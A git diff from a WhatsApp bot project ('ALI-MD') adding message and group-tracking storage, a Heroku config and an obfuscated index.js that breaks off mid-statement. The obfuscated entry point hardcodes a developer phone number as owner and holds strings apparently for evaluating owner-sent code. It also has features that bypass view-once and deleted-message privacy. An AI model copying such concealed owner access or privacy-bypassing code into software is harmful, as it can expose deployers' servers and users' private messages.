owner: groupMetadata.owner, + desc: groupMetadata.desc, + descId: groupMetadata.descId, + linkedParent: groupMetadata.linkedParent, + restrict: groupMetadata.restrict, + announce: groupMetadata.announce, + isCommunity: groupMetadata.isCommunity, + isCommunityAnnounce: groupMetadata.isCommunityAnnounce, + joinApprovalMode: groupMetadata.joinApprovalMode, + memberAddMode: groupMetadata.memberAddMode, + ephemeralDuration: groupMetadata.ephemeralDuration, + }; + + const metadataList = await readJSON('metadata.json'); + const index = metadataList.findIndex((meta) => meta.jid === jid); + if (index > -1) { + metadataList[index] = metadata; + } else { + metadataList.push(metadata); + } + await writeJSON('metadata.json', metadataList); + + const participants = groupMetadata.participants.map((participant) => ({ + jid, + participantId: participant.id, + admin: participant.admin, + })); + await writeJSON(`${jid}_participants.json`, participants); +}; + +const getGroupMetadata = async (jid) => { + if (!isJidGroup(jid)) return null; + const metadataList = await readJSON('metadata.json'); + const metadata = metadataList.find((meta) => meta.jid === jid); + if (!metadata) return null; + + const participants = await readJSON(`${jid}_participants.json`); + return { ...metadata, participants }; +}; +const saveMessageCount = async (message) => { + if (!message) return; + const jid = message.key.remoteJid; + const sender = message.key.participant || message.sender; + if (!jid || !sender || !isJidGroup(jid)) return; + + const messageCounts = await readJSON('message_count.json'); + const index = messageCounts.findIndex((record) => record.jid === jid && record.sender === sender); + + if (index > -1) { + messageCounts[index].count += 1; + } else { + messageCounts.push({ jid, sender, count: 1 }); + } + + await writeJSON('message_count.json', messageCounts); +}; + +const getInactiveGroupMembers = async (jid) => { + if (!isJidGroup(jid)) return []; + const groupMetadata = await getGroupMetadata(jid); + if (!groupMetadata) return []; + + const messageCounts = await readJSON('message_count.json'); + const inactiveMembers = groupMetadata.participants.filter((participant) => { + const record = messageCounts.find((msg) => msg.jid === jid && msg.sender === participant.id); + return !record || record.count === 0; + }); + + return inactiveMembers.map((member) => member.id); +}; + +const getGroupMembersMessageCount = async (jid) => { + if (!isJidGroup(jid)) return []; + const messageCounts = await readJSON('message_count.json'); + const groupCounts = messageCounts + .filter((record) => record.jid === jid && record.count > 0) + .sort((a, b) => b.count - a.count); + + return Promise.all( + groupCounts.map(async (record) => ({ + sender: record.sender, + name: await getName(record.sender), + messageCount: record.count, + })) + ); +}; + +const getChatSummary = async () => { + const messages = await readJSON('message.json'); + const distinctJids = [...new Set(messages.map((msg) => msg.jid))]; + + const summaries = await Promise.all( + distinctJids.map(async (jid) => { + const chatMessages = messages.filter((msg) => msg.jid === jid); + const messageCount = chatMessages.length; + const lastMessage = chatMessages.sort( + (a, b) => new Date(b.timestamp) - new Date(a.timestamp) + )[0]; + const chatName = isJidGroup(jid) ? jid : await getName(jid); + + return { + jid, + name: chatName, + messageCount, + lastMessageTimestamp: lastMessage ? lastMessage.timestamp : null, + }; + }) + ); + + return summaries.sort( + (a, b) => new Date(b.lastMessageTimestamp) - new Date(a.lastMessageTimestamp) + ); +}; + +const saveMessageV1 = saveMessage; +const saveMessageV2 = (message) => { + return Promise.all([saveMessageV1(message), saveMessageCount(message)]); +}; + +module.exports = { + saveContact, + loadMessage, + getName, + getChatSummary, + saveGroupMetadata, + getGroupMetadata, + saveMessageCount, + getInactiveGroupMembers, + getGroupMembersMessageCount, + saveMessage: saveMessageV2, +}; + diff --git a/data/updateDB.js b/data/updateDB.js new file mode 100644 index 0000000000000000000000000000000000000000..dd820cd48f2d178f305326f5380fe3b3287f768c --- /dev/null +++ b/data/updateDB.js @@ -0,0 +1,52 @@ +const { DATABASE } = require('../lib/database'); +const { DataTypes } = require('sequelize'); + +const UpdateDB = DATABASE.define('UpdateInfo', { + id: { + type: DataTypes.INTEGER, + primaryKey: true, + autoIncrement: false, + defaultValue: 1, + }, + commitHash: { + type: DataTypes.STRING, + allowNull: false, + }, +}, { + tableName: 'update_info', + timestamps: false, + hooks: { + beforeCreate: (record) => { record.id = 1; }, + beforeBulkCreate: (records) => { + records.forEach(record => { record.id = 1; }); + }, + }, +}); + +async function initializeUpdateDB() { + await UpdateDB.sync(); + const [record, created] = await UpdateDB.findOrCreate({ + where: { id: 1 }, + defaults: { commitHash: 'unknown' }, + }); + return record; +} + +async function setCommitHash(hash) { + await initializeUpdateDB(); + const record = await UpdateDB.findByPk(1); + record.commitHash = hash; + await record.save(); +} + +async function getCommitHash() { + await initializeUpdateDB(); + const record = await UpdateDB.findByPk(1); + return record ? record.commitHash : 'unknown'; +} + +module.exports = { + UpdateDB, + setCommitHash, + getCommitHash, +}; diff --git a/heroku.yml b/heroku.yml new file mode 100644 index 0000000000000000000000000000000000000000..2c05496e4311feb92efd0c4b511a6ca975496ba6 --- /dev/null +++ b/heroku.yml @@ -0,0 +1,7 @@ +build: + docker: + worker: DockerFile +run: + worker: npm install -g pm2 && npm start + + diff --git a/index.js b/index.js new file mode 100644 index 0000000000000000000000000000000000000000..383638009488fe5c5b5595086f76c113d4d2baf2 --- /dev/null +++ b/index.js @@ -0,0 +1 @@ +const _0x301f9c=_0x9a22;(function(_0xb36eac,_0x36a56c){const _0x4950c4=_0x9a22,_0x13c0f8=_0xb36eac();while(!![]){try{const _0x1f070a=parseInt(_0x4950c4(0x1dd))/0x1+parseInt(_0x4950c4(0x26f))/0x2+parseInt(_0x4950c4(0x2e5))/0x3*(-parseInt(_0x4950c4(0x2cc))/0x4)+parseInt(_0x4950c4(0x28d))/0x5*(parseInt(_0x4950c4(0x378))/0x6)+parseInt(_0x4950c4(0x301))/0x7*(-parseInt(_0x4950c4(0x379))/0x8)+parseInt(_0x4950c4(0x318))/0x9+-parseInt(_0x4950c4(0x1a7))/0xa;if(_0x1f070a===_0x36a56c)break;else _0x13c0f8['push'](_0x13c0f8['shift']());}catch(_0x2957c7){_0x13c0f8['push'](_0x13c0f8['shift']());}}}(_0x54e6,0x9d18a));const _0x410b7a=(function(){let _0x4d988f=!![];return function(_0x256e7a,_0x247fd2){const _0x3f833a=_0x4d988f?function(){const _0x1fc56f=_0x9a22;if(_0x247fd2){const _0x3fcbfa=_0x247fd2[_0x1fc56f(0x1c6)](_0x256e7a,arguments);return _0x247fd2=null,_0x3fcbfa;}}:function(){};return _0x4d988f=![],_0x3f833a;};}()),_0x2fd83a=_0x410b7a(this,function(){const _0x4ef9c8=_0x9a22;return _0x2fd83a[_0x4ef9c8(0x32b)]()[_0x4ef9c8(0x302)]('(((.+)+)+)+$')['toString']()['constructor'](_0x2fd83a)['search'](_0x4ef9c8(0x1e9));});_0x2fd83a();const _0xb29549=(function(){let _0x51333f=!![];return function(_0x56cd4c,_0x1fbdcf){const _0x22015a=_0x51333f?function(){const _0x17bbb8=_0x9a22;if(_0x1fbdcf){const _0x4a7248=_0x1fbdcf[_0x17bbb8(0x1c6)](_0x56cd4c,arguments);return _0x1fbdcf=null,_0x4a7248;}}:function(){};return _0x51333f=![],_0x22015a;};}()),_0x535323=_0xb29549(this,function(){const _0x4cddf3=_0x9a22;let _0x380b0c;try{const _0x5b0b8f=Function(_0x4cddf3(0x2e1)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x380b0c=_0x5b0b8f();}catch(_0x2e8608){_0x380b0c=window;}const _0x1f56c8=_0x380b0c[_0x4cddf3(0x2e7)]=_0x380b0c['console']||{},_0x9d5e6e=[_0x4cddf3(0x33d),_0x4cddf3(0x345),_0x4cddf3(0x360),_0x4cddf3(0x320),'exception',_0x4cddf3(0x356),_0x4cddf3(0x28f)];for(let _0x2fb932=0x0;_0x2fb932<_0x9d5e6e[_0x4cddf3(0x25c)];_0x2fb932++){const _0x4ba7d5=_0xb29549[_0x4cddf3(0x263)][_0x4cddf3(0x354)][_0x4cddf3(0x254)](_0xb29549),_0x24c444=_0x9d5e6e[_0x2fb932],_0x556c10=_0x1f56c8[_0x24c444]||_0x4ba7d5;_0x4ba7d5[_0x4cddf3(0x1b5)]=_0xb29549[_0x4cddf3(0x254)](_0xb29549),_0x4ba7d5['toString']=_0x556c10[_0x4cddf3(0x32b)]['bind'](_0x556c10),_0x1f56c8[_0x24c444]=_0x4ba7d5;}});_0x535323();const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,jidNormalizedUser,isJidBroadcast,getContentType,proto,generateWAMessageContent,generateWAMessage,AnyMessageContent,prepareWAMessageMedia,areJidsSameUser,downloadContentFromMessage,MessageRetryMap,generateForwardMessageContent,generateWAMessageFromContent,generateMessageID,makeInMemoryStore,jidDecode,fetchLatestBaileysVersion,Browsers}=require('@whiskeysockets/baileys'),l=console[_0x301f9c(0x33d)],{getBuffer,getGroupAdmins,getRandom,h2k,isUrl,Json,runtime,sleep,fetchJson}=require(_0x301f9c(0x1e5)),{AntiDelDB,initializeAntiDeleteSettings,setAnti,getAnti,getAllAntiDeleteSettings,saveContact,loadMessage,getName,getChatSummary,saveGroupMetadata,getGroupMetadata,saveMessageCount,getInactiveGroupMembers,getGroupMembersMessageCount,saveMessage}=require(_0x301f9c(0x369)),fs=require('fs'),ff=require(_0x301f9c(0x290)),P=require(_0x301f9c(0x326)),config=require(_0x301f9c(0x228)),GroupEvents=require(_0x301f9c(0x2b8)),qrcode=require(_0x301f9c(0x209)),StickersTypes=require('wa-sticker-formatter'),util=require(_0x301f9c(0x305)),{sms,downloadMediaMessage,AntiDelete}=require(_0x301f9c(0x1be)),FileType=require(_0x301f9c(0x367)),axios=require(_0x301f9c(0x2cb)),{File}=require(_0x301f9c(0x242)),{fromBuffer}=require('file-type'),bodyparser=require(_0x301f9c(0x29a)),os=require('os'),Crypto=require('crypto'),path=require(_0x301f9c(0x1b6)),prefix=config['PREFIX'],mode=config[_0x301f9c(0x1c5)],online=config[_0x301f9c(0x1af)],status=config['AUTO_STATUS_SEEN'],ownerNumber=['923003588997'],tempDir=path[_0x301f9c(0x30f)](os[_0x301f9c(0x22e)](),_0x301f9c(0x236));!fs[_0x301f9c(0x221)](tempDir)&&fs[_0x301f9c(0x2a8)](tempDir);const clearTempDir=()=>{fs['readdir'](tempDir,(_0x4cbf45,_0x3f5dc1)=>{const _0x44e32b=_0x9a22;if(_0x4cbf45)throw _0x4cbf45;for(const _0x413cfc of _0x3f5dc1){fs[_0x44e32b(0x23d)](path[_0x44e32b(0x30f)](tempDir,_0x413cfc),_0x4a1788=>{if(_0x4a1788)throw _0x4a1788;});}});};setInterval(clearTempDir,0x5*0x3c*0x3e8);if(!fs[_0x301f9c(0x221)](__dirname+_0x301f9c(0x32d))){if(!config[_0x301f9c(0x23f)])return console[_0x301f9c(0x33d)]('Please\x20add\x20your\x20session\x20to\x20SESSION_ID\x20env\x20!!');const sessdata=config[_0x301f9c(0x23f)]['replace'](_0x301f9c(0x229),''),filer=File[_0x301f9c(0x298)](_0x301f9c(0x352)+sessdata);filer[_0x301f9c(0x20c)]((_0x11541e,_0x385e08)=>{const _0x14a587=_0x301f9c;if(_0x11541e)throw _0x11541e;fs[_0x14a587(0x215)](__dirname+_0x14a587(0x32d),_0x385e08,()=>{console['log']('Session\x20downloaded\x20โœ…');});});}function _0x54e6(){const _0x307079=['๐Ÿšตโ€โ™‚๏ธ','๐Ÿงโ€โ™‚๏ธ','๐Ÿง‘โ€๐Ÿ”ฌ','๐Ÿšดโ€โ™€๏ธ','messages.upsert','writeFileSync','๐Ÿšถโ€โ™€๏ธ','๐ŸงŸโ€โ™€๏ธ','๐Ÿง‘โ€๐Ÿฆฑ','๐Ÿ•ธ๏ธ','๐Ÿ—จ๏ธ','2265ScvUgr','๐Ÿ‘จโ€๐Ÿ”ง','trace','fluent-ffmpeg','๐Ÿ‘ฏโ€โ™‚๏ธ','๐Ÿ‘ฉโ€๐ŸŒพ','๐Ÿง˜โ€โ™€๏ธ','categories','๐Ÿ‘ฎโ€โ™€๏ธ','๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ','๐ŸงŽโ€โ™‚๏ธ','fromURL','๐Ÿงœโ€โ™‚๏ธ','body-parser','[PLUGIN\x20ERROR]\x20','๐Ÿšฃโ€โ™€๏ธ','๐Ÿˆโ€โฌ›','๐Ÿ„โ€โ™€๏ธ','alias','\x20as\x20read.','๐ŸงŸโ€โ™‚๏ธ','๐Ÿ™†โ€โ™€๏ธ','๐Ÿ‡บ๐Ÿ‡ธ','๐Ÿ˜ถโ€๐ŸŒซ๏ธ','๐Ÿ‘จโ€๐Ÿฆผ','viewOnceMessage','headers','mkdirSync','๐Ÿ•ดโ€โ™‚๏ธ','๐Ÿ‘ฉโ€๐ŸŽค','sendImageAsSticker','๐Ÿคนโ€โ™€๏ธ','private','alloc','set','๐Ÿง‘โ€๐Ÿฆณ','๐Ÿ‘จโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘จ','๐Ÿ‘ฉโ€๐Ÿš’','๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ','๐Ÿ‘จโ€๐Ÿ”ฌ','trim','๐Ÿ‡ฆ๐Ÿ‡บ','string','./lib/groupevents','viewOnceMessageV2','ALI\x20MD\x20STARTED\x20โœ…','server','pattern','/sessions/','๐Ÿ‹๏ธโ€โ™‚๏ธ','concat','๐Ÿง™โ€โ™€๏ธ','extendedTextMessage','Provide\x20me\x20with\x20a\x20query\x20to\x20run\x20Master!','stickerMessage','\x0aFN:','output','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘ง','๐Ÿ‡จ๐Ÿ‡ฆ','๐Ÿ‘ฉโ€๐Ÿฆณ','๐ŸŒ๏ธ','env','axios','4HSDYnn','matchAll','๐Ÿ™Žโ€โ™€๏ธ','๐Ÿ›ฌ๏ธ','๐Ÿ•ต๏ธโ€โ™€๏ธ','๐Ÿ‹๏ธโ€โ™€๏ธ','OWNER_REACT','sender','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ง','๐Ÿคธโ€โ™€๏ธ','โ›น๏ธโ€โ™‚๏ธ','๐Ÿ‘ฉโ€๐Ÿผ','๐Ÿฆธโ€โ™‚๏ธ','contextInfo','๐Ÿ‘จโ€๐Ÿ‘ง','๐Ÿ‘จโ€๐Ÿ’ป','messages','๐Ÿงโ€โ™€๏ธ','๐Ÿคทโ€โ™‚๏ธ','downloadAndSaveMediaMessage','๐Ÿง›โ€โ™€๏ธ','return\x20(function()\x20','msg','๐Ÿ‘จโ€๐Ÿ’ผ','๐Ÿ‘จโ€โš–๏ธ','3185682ybbmtF','ANTI_CALL','console','BEGIN:VCARD\x0aVERSION:3.0\x0aN:','๐Ÿง‘โ€๐ŸŽ„','audio','AUTO_STATUS_MSG','๐Ÿ™…โ€โ™‚๏ธ','call','๐Ÿ‹๏ธ','relayMessage','๐Ÿ™โ€โ™€๏ธ','key','readViewOnce','photo','email','๐Ÿ‘๏ธ','๐Ÿง—โ€โ™€๏ธ','name','true','๐Ÿ‘ทโ€โ™‚๏ธ','getNumber','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆ','๐Ÿคฆโ€โ™‚๏ธ','fromMe','๐Ÿง‘โ€๐Ÿฆฏ','mimetype','group-participants.update','1435049jzqEcH','search','๐Ÿ‘ณโ€โ™‚๏ธ','loggedOut','util','send5ButImg','๐Ÿงœโ€โ™€๏ธ','AUTO_STATUS_REACT','toLowerCase','\x0a}\x0aa()','๐Ÿง‘โ€๐Ÿš’','๐Ÿคฝโ€โ™‚๏ธ','isBuffer','๐Ÿคนโ€โ™‚๏ธ','join','๐Ÿคทโ€โ™€๏ธ','๐Ÿง”โ€โ™‚๏ธ','๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘ง','๐Ÿงžโ€โ™‚๏ธ','text','open','๐Ÿง‘โ€๐Ÿฆฐ','๐Ÿ‘ฑโ€โ™‚๏ธ','2408571floWir','๐Ÿ‘จโ€โœˆ๏ธ','๐Ÿ™‡โ€โ™‚๏ธ','๐Ÿ‘จโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ','*\x0a*โ”‚โ€ข\x20๐ŸซŸ๐•๐„๐‘๐’๐ˆ๐Ž๐\x20:\x20๐Ÿ’.๐ŸŽ.๐ŸŽ*\x0a*โ”—โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”‰โ”ˆโš†*','location','document','mtype','error','๐Ÿ‘ฉโ€๐Ÿ‘ง','๐Ÿ›ซ๏ธ','๐Ÿ’‚โ€โ™€๏ธ','get','parseMention','pino','silent','๐Ÿ‘ฉโ€๐ŸŽ“','๐Ÿง‘โ€โœˆ๏ธ','๐Ÿ‘ฉโ€๐Ÿ”ง','toString','\x0aitem1.X-ABLabel:Click\x20here\x20to\x20chat\x0aitem2.EMAIL;type=INTERNET:','/sessions/creds.json','๐Ÿ‘ฉโ€โš•๏ธ','๐Ÿง‘โ€๐Ÿ’ผ','๐Ÿง‘โ€๐ŸŽค','๐Ÿ‡ช๐Ÿ‡ธ','viewOnce','9230035588997','base64','.js','๐Ÿง‘โ€๐ŸŽจ','๐ŸŠโ€โ™€๏ธ','923003588997','๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ‘ฉ','๐Ÿ‘จโ€๐ŸŒพ','๐Ÿ’‡โ€โ™‚๏ธ','downloadMediaMessage','log','readFileSync','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ฆ','remoteJid','keys','sendTextWithMentions','sendButtonText','๐Ÿƒโ€โ™€๏ธ','warn','find','๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ‘จ','๐Ÿ‘จโ€โš•๏ธ','๐Ÿง‘โ€๐Ÿฆฝ','slice','๐Ÿ‘จโ€๐Ÿญ','๐Ÿ‡ต๐Ÿ‡ฐ','copyNForward','๐Ÿปโ€โ„๏ธ','๐Ÿ‘จโ€๐Ÿผ','Connecting\x20to\x20WhatsApp\x20โณ๏ธ...','sendImage','https://mega.nz/file/','update','prototype','๐Ÿง‘โ€๐Ÿš€','table','๐Ÿ‘ฉโ€๐Ÿ’ผ','application/octet-stream','videoMessage','๐Ÿ™โ€โ™‚๏ธ','*\x0a*โ”‚โ€ข\x20๐Ÿชพ๐Œ๐Ž๐ƒ๐„\x20:\x20','๐Ÿงšโ€โ™‚๏ธ','๐ŸŠโ€โ™‚๏ธ','replace','https://i.ibb.co/LDLMs949/lordali.jpg','info','๐Ÿ‘จโ€๐ŸŽ“','offer','AUTO_STATUS_REPLY','๐Ÿ‘ฐโ€โ™€๏ธ','๐Ÿ‘จโ€โค๏ธโ€๐Ÿ‘จ','๐Ÿ•ต๏ธ','file-type','๐Ÿ‘ณโ€โ™€๏ธ','./data','๐Ÿ‘ทโ€โ™€๏ธ','๐Ÿšดโ€โ™‚๏ธ','react','forEach','๐Ÿ‘จโ€๐Ÿฆฏ','/khan-xmd\x0aitem3.X-ABLabel:GitHub\x0aitem4.ADR:;;','๐Ÿง‘โ€๐Ÿ’ป','๐Ÿ•ฏ๏ธ','readMessages','๐Ÿง‘โ€๐Ÿคโ€๐Ÿง‘','๐Ÿโ€๐Ÿฆบ','getName','ext','0@s.whatsapp.net','15642xhMswA','8WjeIlD','๐Ÿคธโ€โ™‚๏ธ','๐Ÿ‘ฏโ€โ™€๏ธ','๐Ÿ‘ฉโ€๐Ÿฆฑ','Marked\x20message\x20from\x20','notify','๐Ÿฆธโ€โ™€๏ธ','๐Ÿง‘โ€๐Ÿซ','๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ฆ','๐Ÿ‘จโ€๐Ÿ‘งโ€๐Ÿ‘ง','groupMetadata','๐Ÿ•Š๏ธ','6072160FzYoML','author','๐Ÿž๏ธ','head','๐Ÿ‘จโ€๐Ÿณ','โ›น๏ธโ€โ™€๏ธ','๐Ÿ‘จโ€๐Ÿฆฝ','floor','ALWAYS_ONLINE','๐Ÿ‡ฌ๐Ÿ‡ง','๐Ÿ‘ฉโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ','gif','type','withoutContact','__proto__','path','๐Ÿ‘ฉโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ','github','query','๐Ÿ’‚โ€โ™‚๏ธ','map','๐Ÿ„โ€โ™‚๏ธ','express','./lib','๐Ÿ’†โ€โ™‚๏ธ','decodeJid','๐Ÿ‘จโ€๐Ÿ‘งโ€๐Ÿ‘ฆ','object','๐Ÿง”โ€โ™€๏ธ','Anti-call\x20error:','MODE','apply','Bot\x20connected\x20to\x20whatsapp\x20โœ…','rejectCall','statusCode','caption','promises','./plugins/','commands','๐Ÿ‘จโ€๐Ÿ‘ฆ','endsWith','\x0aitem2.X-ABLabel:GitHub\x0aitem3.URL:https://github.com/','๐Ÿ‘ฉโ€๐Ÿ”ฌ','โค๏ธโ€๐Ÿฉน','๐Ÿ‡ซ๐Ÿ‡ท','CUSTOM_REACT','groups','.bin','๐Ÿง‘โ€๐Ÿญ','๐Ÿ‡ฏ๐Ÿ‡ต','๐Ÿ‘ฉโ€๐Ÿฆฝ','๐Ÿง‘โ€๐Ÿณ','random','listen','142261kxRhFY','fromBuffer','./exif','CUSTOM_REACT_EMOJIS','asSticker','test','inbox','*๐‡๐„๐‹๐‹๐Ž\x20๐“๐‡๐„๐‘๐„\x20๐€๐‹๐ˆ-๐Œ๐ƒ\x20๐๐Ž๐“๐Ÿ‘‘*\x0a*๐‚๐Ž๐๐๐„๐‚๐“๐„๐ƒ\x20๐’๐”๐‚๐‚๐„๐’๐’๐…๐”๐‹๐‹๐˜!*\x0a\x20\x20\x0a*โ•ญโ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”€โ”โ”โ”โ”โ”€โ”€โ”‰โ”ˆโš†*\x0a*โ”‚โ€ข\x20๐“๐˜๐๐„\x20.๐Œ๐„๐๐”\x20๐“๐Ž\x20๐’๐„๐„\x20๐‹๐ˆ๐’๐“\x20โ€ข*\x0a*โ”‚โ€ข\x20๐๐Ž๐“\x20๐€๐Œ๐€๐™๐ˆ๐๐†\x20๐…๐„๐€๐“๐”๐‘๐„๐’\x20โ€ข*\x0a*โ”‚โ€ข\x20๐ŸŒธ๐ƒ๐„๐•๐„๐‹๐Ž๐๐„๐‘\x20:\x20๐€ษญฤซฤซ\x20๐ˆฦžฬ„xฬทฤซฤซษ–๐›†ฬฝ*\x0a*โ”‚โ€ข\x20โฐ๐€๐‹๐–๐€๐˜๐’\x20๐Ž๐๐‹๐ˆ๐๐„\x20:\x20','./lib/functions','๐ŸŒ๏ธโ€โ™€๏ธ','message','๐Ÿง‘โ€๐Ÿฆฒ','(((.+)+)+)+$','๐Ÿคผโ€โ™€๏ธ','๐ŸงŽโ€โ™€๏ธ','๐Ÿ•ท๏ธ','serializeM','quotedMessage','๐Ÿ‘ฉโ€๐Ÿณ','function','๐Ÿง–โ€โ™‚๏ธ','international','๐Ÿง—โ€โ™‚๏ธ','๐Ÿ‘จโ€๐ŸŽจ','๐Ÿ•ณ๏ธ','๐Ÿง›โ€โ™‚๏ธ','packname','REJECT_MSG','๐Ÿšฃโ€โ™‚๏ธ','imageMessage','format','\x20Contact','๐Ÿฟ๏ธ','๐Ÿ’‡โ€โ™€๏ธ','๐Ÿšตโ€โ™€๏ธ','๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆโ€๐Ÿ‘ฆ','๐Ÿฅฒ,๐Ÿ˜‚,๐Ÿ‘๐Ÿป,๐Ÿ™‚,๐Ÿ˜”','ephemeralMessage','๐Ÿšถโ€โ™‚๏ธ','๐Ÿ‘ฎโ€โ™‚๏ธ','๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘ฆ','๐Ÿฆนโ€โ™€๏ธ','๐Ÿ‘ฉโ€๐Ÿš€','participants','qrcode-terminal','๐Ÿ‘จโ€๐Ÿฆฑ','๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ฆ','download','๐Ÿ’โ€โ™‚๏ธ','๐Ÿ™‹โ€โ™€๏ธ','๐Ÿคฝโ€โ™€๏ธ','๐Ÿง‘โ€๐ŸŒพ','READ_MESSAGE','@g.us','๐Ÿ™…โ€โ™€๏ธ','status@broadcast','writeFile','parse','๐Ÿ™‡โ€โ™€๏ธ','macOS','๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ง','connection.update','participant','Plugins\x20installed\x20successful\x20โœ…','๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘ฉ','๐Ÿ™Žโ€โ™‚๏ธ','๐Ÿ‘จโ€๐Ÿฆฐ','๐Ÿ‘จโ€๐Ÿš€','existsSync','sticker','fromObject','๐Ÿ—ฏ๏ธ','video','Safari','๐Ÿ‘ฉโ€๐Ÿซ','./config','ALI-MD~','๐Ÿง‘โ€๐Ÿ”ง','includes','content-type','WhatsApp','tmpdir','status','user','asDocument','๐Ÿ“ฝ๏ธ','application/pdf','๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘งโ€๐Ÿ‘ฆ','๐Ÿง˜โ€โ™‚๏ธ','cache-temp','subject','๐Ÿงโ€โ™€๏ธ','๐Ÿง–โ€โ™€๏ธ','๐Ÿคฆโ€โ™€๏ธ','image','conversation','unlink','Sin\x20Nombre','SESSION_ID','๐Ÿคตโ€โ™‚๏ธ','from','megajs',';;;;\x0aitem4.X-ABLabel:Region\x0aEND:VCARD','body','contacts','๐Ÿƒโ€โ™‚๏ธ','๐Ÿง‘โ€๐ŸŽ“','๐Ÿ‘จโ€๐Ÿฆฒ','๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ง','image/webp','readdirSync','๐Ÿ™‹โ€โ™‚๏ธ','๐Ÿ•ต๏ธโ€โ™‚๏ธ','๐Ÿ–๏ธ','๐Ÿ˜ตโ€๐Ÿ’ซ','๐Ÿคผโ€โ™‚๏ธ','๐Ÿงโ€โ™€๏ธ','๐Ÿ’โ€โ™€๏ธ','Call\x20rejected\x20and\x20message\x20sent\x20to\x20','bind','./exif.js','๐Ÿฆนโ€โ™‚๏ธ','๐Ÿ’†โ€โ™€๏ธ','๐Ÿง‘โ€โš•๏ธ','startsWith','๐Ÿคพโ€โ™€๏ธ','๐Ÿ‘ฉโ€๐Ÿฆฐ','length','split','๐Ÿ‘จโ€๐Ÿ‘จโ€๐Ÿ‘ฆ','๐Ÿง‘โ€๐Ÿฆผ','๐Ÿ‘ฉโ€๐Ÿญ','๐Ÿง‘โ€๐Ÿผ','๐Ÿงโ€โ™‚๏ธ','constructor','const\x20a\x20=\x20async()=>{\x0a','๐Ÿ—ฃ๏ธ','๐Ÿงžโ€โ™€๏ธ','๐Ÿคพโ€โ™‚๏ธ','๐Ÿ‘ฉโ€๐ŸŽจ','๐Ÿ‘ฉโ€โœˆ๏ธ','๐Ÿง™โ€โ™‚๏ธ','๐ŸŽ—๏ธ','๐ŸŒฆ๏ธ','\x0aitem1.TEL;waid=','๐Ÿ‘ฑโ€โ™€๏ธ','1853464oqLjXg','๐Ÿ‘ฉโ€๐Ÿฆฒ','๐Ÿงโ€โ™‚๏ธ','Message','getFile','๐Ÿงšโ€โ™€๏ธ','๐Ÿ‘ฉโ€โค๏ธโ€๐Ÿ’‹โ€๐Ÿ‘จ','sendMessage','sendContact','๐Ÿง‘โ€โš–๏ธ','๐ŸŒ๏ธโ€โ™‚๏ธ','@s.whatsapp.net','๐Ÿ‘ฐโ€โ™‚๏ธ','๐Ÿคตโ€โ™€๏ธ','๐Ÿ™†โ€โ™‚๏ธ','๐Ÿ•ด๏ธ','โค๏ธโ€๐Ÿ”ฅ','๐Ÿ‘ฉโ€โš–๏ธ','๐Ÿ‘ฉโ€๐Ÿฆฏ'];_0x54e6=function(){return _0x307079;};return _0x54e6();}function _0x9a22(_0x13dcff,_0x21f6c6){const _0x37f673=_0x54e6();return _0x9a22=function(_0x535323,_0xb29549){_0x535323=_0x535323-0x1a2;let _0x11df24=_0x37f673[_0x535323];return _0x11df24;},_0x9a22(_0x13dcff,_0x21f6c6);}const express=require(_0x301f9c(0x1bd)),app=express(),port=process[_0x301f9c(0x2ca)]['PORT']||0x2382;async function connectToWA(){const _0x4fa459=_0x301f9c;console[_0x4fa459(0x33d)](_0x4fa459(0x350));const {state:_0x57460f,saveCreds:_0x1d9a5c}=await useMultiFileAuthState(__dirname+_0x4fa459(0x2bd));var {version:_0x490c3c}=await fetchLatestBaileysVersion();const _0x56ac80=makeWASocket({'logger':P({'level':_0x4fa459(0x327)}),'printQRInTerminal':![],'browser':Browsers[_0x4fa459(0x218)](_0x4fa459(0x226)),'syncFullHistory':!![],'auth':_0x57460f,'version':_0x490c3c});_0x56ac80['ev']['on'](_0x4fa459(0x21a),_0xa3de77=>{const _0x380541=_0x4fa459,{connection:_0xf4573c,lastDisconnect:_0x14a5b7}=_0xa3de77;if(_0xf4573c==='close')_0x14a5b7[_0x380541(0x320)][_0x380541(0x2c5)][_0x380541(0x1c9)]!==DisconnectReason[_0x380541(0x304)]&&connectToWA();else{if(_0xf4573c===_0x380541(0x315)){console['log']('๐Ÿงฌ\x20Installing\x20Plugins');const _0x1660d6=require('path');fs[_0x380541(0x24b)](_0x380541(0x1cc))[_0x380541(0x36d)](_0x483c4e=>{const _0x5c3815=_0x380541;_0x1660d6['extname'](_0x483c4e)[_0x5c3815(0x309)]()==_0x5c3815(0x335)&&require(_0x5c3815(0x1cc)+_0x483c4e);}),console['log'](_0x380541(0x21c)),console['log'](_0x380541(0x1c7));let 